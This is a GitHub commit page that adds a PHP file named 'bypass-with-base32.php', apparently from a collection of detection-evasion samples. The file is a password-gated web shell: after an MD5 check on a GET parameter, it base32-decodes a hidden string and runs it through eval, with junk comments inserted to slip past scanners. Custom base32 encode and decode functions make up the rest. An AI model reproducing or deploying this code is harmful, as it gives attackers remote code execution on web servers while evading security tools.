Skip to content

Commit b59b949

Browse files
authored
Create bypass-with-base32.php
1 parent eafae57 commit b59b949

File tree

1 file changed

+69
-0
lines changed

1 file changed

+69
-0
lines changed

php/bypass-with-base32.php

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
<?php
2+
class ZQIH{
3+
public $a = null;
4+
public $b = null;
5+
public $c = null;
6+
7+
function __construct(){
8+
if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
9+
10+
$this->a = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
11+
12+
13+
14+
$this->LGZOJH = @base32_decode($this->a);
15+
@eval/*sopupi3240-=*/("/*iSAC[FH*/".$this->LGZOJH."/*iSAC[FH*/");
16+
}}}
17+
new ZQIH();
18+
19+
function base32_encode($input) {
20+
$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
21+
$output = '';
22+
$v = 0;
23+
$vbits = 0;
24+
25+
for ($i = 0, $j = strlen($input); $i < $j; $i++) {
26+
$v <<= 8;
27+
$v += ord($input[$i]);
28+
$vbits += 8;
29+
30+
while ($vbits >= 5) {
31+
$vbits -= 5;
32+
$output .= $BASE32_ALPHABET[$v >> $vbits];
33+
$v &= ((1 << $vbits) - 1);
34+
}
35+
}
36+
37+
if ($vbits > 0) {
38+
$v <<= (5 - $vbits);
39+
$output .= $BASE32_ALPHABET[$v];
40+
}
41+
42+
return $output;
43+
}
44+
45+
function base32_decode($input) {
46+
$output = '';
47+
$v = 0;
48+
$vbits = 0;
49+
50+
for ($i = 0, $j = strlen($input); $i < $j; $i++) {
51+
$v <<= 5;
52+
if ($input[$i] >= 'a' && $input[$i] <= 'z') {
53+
$v += (ord($input[$i]) - 97);
54+
} elseif ($input[$i] >= '2' && $input[$i] <= '7') {
55+
$v += (24 + $input[$i]);
56+
} else {
57+
exit(1);
58+
}
59+
60+
$vbits += 5;
61+
while ($vbits >= 8) {
62+
$vbits -= 8;
63+
$output .= chr($v >> $vbits);
64+
$v &= ((1 << $vbits) - 1);
65+
}
66+
}
67+
return $output;
68+
}
69+
?>

0 commit comments

Comments
 (0)